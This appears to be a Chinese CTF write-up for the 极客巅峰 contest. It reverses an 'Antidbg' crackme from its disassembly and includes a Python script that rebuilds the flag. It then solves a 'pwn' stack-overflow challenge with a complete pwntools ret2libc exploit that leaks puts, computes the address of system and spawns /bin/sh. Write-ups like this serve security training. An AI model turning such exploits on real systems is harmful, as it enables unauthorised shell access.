极客巅峰
程序员文章站
2022-03-04 19:42:40
...
栗子下载https://github.com/tower111/software.git
Antidbg
搜索字符串找不到关键点,也没有命名很明显的函数。
找导入表看了一下,有GetMessageA函数,跟踪看一下。
void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter)
{
struct tagMSG Msg; // [esp+8h] [ebp-20h]
CoInitialize(0);
SetWinEventHook(1u, 0x7FFFFFFFu, 0, pfnWinEventProc, 0, 0, 2u);
while ( 1 )
{
GetMessageA(&Msg, 0, 0, 0);
TranslateMessage(&Msg);
}
}
这里获取到了输入,具体输入是怎么用的,向上找。
定位到了这里
创建了一个线程,然后进行一些操作。
不能反编译,看汇编吧,用od更一些。
载入之后发现
.text:004011C0 push 0 ; pvReserved
.text:004011C2 call ds:CoInitialize
.text:004011C8 push 0 ; lpThreadId
.text:004011CA push 0 ; dwCreationFlags
.text:004011CC push 0 ; lpParameter
.text:004011CE push offset StartAddress ; lpStartAddress
.text:004011D3 push 0 ; dwStackSize
.text:004011D5 push 0 ; lpThreadAttributes
.text:004011D7 call ds:CreateThread
.text:004011DD push 32h
.text:004011DF lea eax, [ebp+Dst]
.text:004011E2 push eax
.text:004011E3 push offset unk_402128
.text:004011E8 call sub_401050
.text:004011ED lea ecx, [ebp+Dst]
.text:004011F0 add esp, 0Ch
.text:004011F3 lea edx, [ecx+1]
sub_401050函数才是真正的scanf函数。好吧,这些都不重要,看算法。
009E11F6 |> /8A01 /mov al,byte ptr ds:[ecx]
009E11F8 |. |41 |inc ecx ; ucrtbase.77433041
009E11F9 |. |84C0 |test al,al
009E11FB |.^\75 F9 \jnz short Antidbg.009E11F6 ; lenstr
009E11FD |. 2BCA sub ecx,edx
009E11FF |. 83F9 2A cmp ecx,0x2A ; len==42
求长度,len要=42.
009E1202 |. /0F85 96000000 jnz Antidbg.009E129E
009E1208 |. |0F2805 C0219E>movaps xmm0,dqword ptr ds:[0x9E21C0]
009E120F |. |33D2 xor edx,edx
009E1211 |. |0F1145 94 movups dqword ptr ss:[ebp-0x6C],xmm0
009E1215 |. |C745 B4 02060>mov [local.19],0x2080602
009E121C |. |0F2805 B0219E>movaps xmm0,dqword ptr ds:[0x9E21B0]
009E1223 |. |0F1145 A4 movups dqword ptr ss:[ebp-0x5C],xmm0
009E1227 |. |C745 B8 09000>mov [local.18],0x2050009
009E122E |. |66:C745 BC 02>mov word ptr ss:[ebp-0x44],0xD02
009E1234 |. |56 push esi ; ucrtbase.774FF0B0
009E1235 |. |66 datasize:
009E1236 |. |66 datasize:
009E1237 |. |66:0f1f8400 0>nop word ptr ds:[eax+eax]
这里进行了赋值,还有一些识别不出来的语句。重要的是赋值,是放到了栈里。一会再看。
009E1240 |> /0FBE7415 C0 /movsx esi,byte ptr ss:[ebp+edx-0x40] ; str
009E1245 |. |0FBE8A 78219E>|movsx ecx,byte ptr ds:[edx+0x9E2178] ; byte_402178[i]
009E124C |. |8BC6 |mov eax,esi ; ucrtbase.774FF0B0
009E124E |. |C1F8 04 |sar eax,0x4 ; qu str[i]的高位
009E1251 |. |3B048D 18309E>|cmp eax,dword ptr ds:[ecx*4+0x9E3018] ; 6,小写字母·到o
009E1258 |. |75 2A |jnz short Antidbg.009E1284
009E125A |. |0FBE4415 94 |movsx eax,byte ptr ss:[ebp+edx-0x6C] ; 1050D02070106010206000B07010C06h【-1】
009E125F |. |83E6 0F |and esi,0xF ; 取str[i]低字节
009E1262 |. |3B3485 38219E>|cmp esi,dword ptr ds:[eax*4+0x9E2138] ; =eax
009E1269 |. |75 19 |jnz short Antidbg.009E1284 ; 0x66='f'
009E126B |. |42 |inc edx
009E126C |. |83FA 2A |cmp edx,0x2A
009E126F |.^\7C CF \jl short Antidbg.009E1240
这里进行了验证,一个字符的高4自己和低四字节分开比较。
这里数据部分是0x02,0x03,0x06,0x07组成的数组。
低4位取的是栈里面的数据
010FFAB0 774FF0B0 ucrtbase.774FF0B0
010FFAB4 07010C06
010FFAB8 0206000B
010FFABC 07010601
010FFAC0 01050D02
010FFAC4 040D0303
010FFAC8 0D000103
010FFACC 02010808
010FFAD0 0100070D
010FFAD4 02080602
010FFAD8 02050009
010FFADC 77410D02 ucrtbase.77410D02
注意最后的0x02,0x0d加上他们才能凑够42个字节。
byte_402178=[ 0x02, 0x02, 0x02, 0x02, 0x03, 0x01, 0x01, 0x02, 0x01, 0x01,
0x02, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,
0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,
0x01, 0x02, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x02, 0x01,
0x01, 0x03]
dword_403018=[2,3,6,7]#这里需要注意,数据是动态的,中间出错就有可能是它。
key=[6, 12, 1, 7, 11, 0, 6, 2, 1, 6, 1, 7, 2, 13, 5, 1,
3, 3, 13, 4, 3, 1, 0, 13, 8, 8, 1, 2, 13, 7, 0, 1,
2, 6, 8, 2,9,0,5,2,2,0xd]
print key,len(key)
flag=""
for i in range(0x2a):
h=dword_403018[byte_402178[i]]
l=key[i]
flag+=chr(h<<4|l)
print flag
总结:观察一些特殊函数找关键点。
结合ida,某个数据如果不是定值,中间可能变化(od中跟出来的值在每一次循环中都可能变化)。
pwn
栈溢出漏洞,给了libc库,覆盖返回地址为puts函数,实现泄露。
from pwn import *
elf=ELF("./pwn")
#p=remote("IP",port)
#context.log_level="debug"
#libc=("libc-2.23.so")
libc=ELF("libc.so.6")
name_addr=0x0804A06C
game_addr=0x080485CB
p=process("./pwn")
p.recvuntil("First, what's your name?\n")
p.sendline("1")
p.recvuntil(", do you want to get flag?")
p.sendline("A"*(0x1c+4)+p32(elf.plt["puts"])+p32(game_addr)+p32(elf.got["puts"]))
p.recvline()
data=p.recv(4)
print hex(u32(data))
puts_addr=u32(data)
system_addr=puts_addr-libc.symbols["puts"]+libc.symbols["system"]
print "system_addr="+hex(system_addr)
p.recvuntil("First, what's your name?\n")
p.sendline("//bin/sh\x00")
p.recvuntil(", do you want to get flag?")
p.sendline("A"*(0x1c+4)+p32(system_addr)+p32(game_addr)+p32(name_addr))
p.interactive()